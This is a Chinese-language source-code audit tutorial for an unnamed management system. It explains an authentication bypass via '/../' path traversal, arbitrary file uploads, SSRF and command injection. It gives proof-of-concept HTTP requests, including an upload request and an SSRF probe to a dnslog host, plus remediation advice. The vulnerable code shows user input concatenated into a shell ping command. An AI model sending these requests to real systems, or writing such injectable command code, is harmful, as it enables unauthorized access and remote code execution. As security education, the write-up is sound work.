某管理系统源代码审计
字数 1195 2025-11-21 12:34:03
某管理系统源代码审计教学文档
1. 鉴权绕过漏洞分析
漏洞位置
AuthInterceptor鉴权拦截器
漏洞原理
- 系统使用
request.getRequestURL().toString()获取请求路径 - 第35行代码检查URL是否包含
action中的内容,包含则返回true action参数来源于stringArray[n2]stringArray由opens变量生成
绕过方法
使用路径遍历符号/../进行权限绕过,即可绕过鉴权检查直接访问受保护资源
2. 前台任意文件上传漏洞
第一处上传点
漏洞位置
/app/uploadFileApp.do路由
漏洞代码分析
- 第414行获取文件名
- 直接构造文件路径,上传路径固定为
/usr/web/resources/upload/ - 使用
FileUtils.copyInputStreamToFile写入文件 - 缺乏文件后缀校验和安全检查
PoC
POST /app/uploadFileApp.do HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 323
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: application/octet-stream
test
------WebKitFormBoundary7MA4YWxkTrZu0gW--
第二处上传点
漏洞位置
/manage/../vcsGroup/actionGroupAddFile.do路由
漏洞特点
- 与第一处漏洞原理相同
- 同样缺乏有效的过滤机制
- 系统存在多处类似文件上传漏洞点
3. 前台SSRF漏洞
漏洞位置
/sdk/../grid/actionDownloadFile.do路由
漏洞原理
url参数用户完全可控- 参数未经任何校验或限制
- 直接传递给
downloadFormUrl方法发起HTTP请求
PoC
GET /sdk/../grid/actionDownloadFile.do?url=http://xxx.dnslog.cn&name=12121&length=2121212 HTTP/1.1
Host: target.com
Connection: keep-alive
sec-ch-ua-platform: "Windows"
4. 前台RCE漏洞
漏洞位置
命令执行功能模块
漏洞原理分析
参数接收
- 接收
type和IP参数 - 当
type=0时进入ping逻辑
命令构造
String ip = request.getParameter("ip");
String time = request.getParameter("time");
String cmd = "ping " + ip + " -i 1 -c " + time + " | awk ... > ...";
new MyThread(process, cmd, fileName).start();
执行流程
- 调用
MyThread.run() - 转到
CMSTools.execCentosCmd(process, cmd, fileName) - 整条命令字符串直接交给
/bin/sh -c解析执行
漏洞验证
port参数同样存在命令注入风险- 可通过构造特殊参数实现远程代码执行
漏洞修复建议
鉴权绕过修复
- 使用规范化的路径比较方法
- 避免使用简单的字符串包含检查
- 实现严格的身份验证和授权机制
文件上传修复
- 实施白名单文件类型检查
- 重命名上传文件
- 限制上传目录的执行权限
- 对文件内容进行安全扫描
SSRF漏洞修复
- 对URL参数进行严格校验
- 使用白名单机制限制可访问的域名/IP
- 禁用危险的URL协议(如file://)
RCE漏洞修复
- 避免直接拼接用户输入到系统命令
- 使用参数化查询或安全的API调用
- 实施严格的输入验证和过滤
- 使用最小权限原则运行应用程序
总结
该管理系统存在严重的安全漏洞,包括鉴权绕过、任意文件上传、SSRF和RCE等高危漏洞。开发人员应重视安全编码实践,在系统设计和实现阶段充分考虑安全性,定期进行安全审计和代码审查,确保系统的安全性。